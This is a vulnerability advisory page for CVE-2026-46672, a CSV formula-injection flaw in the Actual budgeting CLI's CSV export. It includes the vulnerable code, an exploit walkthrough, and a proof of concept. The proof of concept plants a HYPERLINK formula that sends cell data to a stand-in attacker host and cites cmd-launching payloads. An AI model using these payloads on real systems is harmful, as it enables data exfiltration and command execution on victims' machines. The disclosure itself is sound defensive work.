Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-46672 — cli

🟡 CVSS 4.6 — Medium ✅ No Known Exploit CWE-1236 NVD
4.6
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

@actual-app/cli --format csv Output Vulnerable to CSV Formula Injection via Custom escapeCsv Helper

Summary

@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.

This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.

Details

Vulnerable code

packages/cli/src/output.ts:98-103:

```ts

function escapeCsv(value: string): string {

if (value.includes(',') || value.includes('"') || value.includes('\n')) {

return '"' + value.replace(/"/g, '""') + '"';

}

return value;

}

```

The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.

Data flow to the sink

1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.

2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).

3. For each row, every column is run through formatCellValue (output.ts:21-26):

```ts

function formatCellValue(key: string, value: unknown): string {

if (isAmountValue(key, value)) {

return (value / 100).toFixed(2);

}

return String(value ?? '');

}

```

Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.

4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.

Exploitability conditions

  • The CLI is installed and used by the victim (@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).
  • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
  • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
  • Sending the victim a crafted OFX/QIF/CSV import file.
  • API write access (e.g., over a compromised sync session).
  • The victim runs actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.

There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.

PoC

Setup (one-time — choose any user-controlled field; payee shown):

```bash

# Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync):

actual transactions add \

--account "$ACCOUNT_ID" \

--data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'

```

Trigger (victim runs):

```bash

actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv

cat out.csv

```

Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):

```

id,date,amount,payee,notes,category,account,cleared,reconciled

abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false

```

Open out.csv in Excel / LibreOffice Calc / Google Sheets → the payee cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (B2 = the date, but trivially adjustable to any cell)

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-46672 is classified as CWE-1236: Improper Neutralization of Formula Elements in a CSV File. Exported values are not neutralised, so a spreadsheet may treat them as formulas when opened.

Affected software

CVE-2026-46672 is recorded against 2 packages.

  • @actual-app/cli
  • unknown

Timeline and source

Published on 22 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Same weakness in other software

These advisories are the same class of weakness (CWE-1236: Improper Neutralization of Formula Elements in a CSV File) in other software:

Details

Severity Medium
CVSS Score 4.6
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWE CWE-1236
Public Exploit ✅ No
Source NVD
Published 2026-06-22
Updated 2026-08-20
Modified 2026-06-22
Fix URL N/A

Affected Packages

Software From version Fixed in
@actual-app/cli
unknown

Vulnerability Monitoring

Track new vulnerabilities in cli

CVE-2026-46672 is rated CVSS 4.6 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026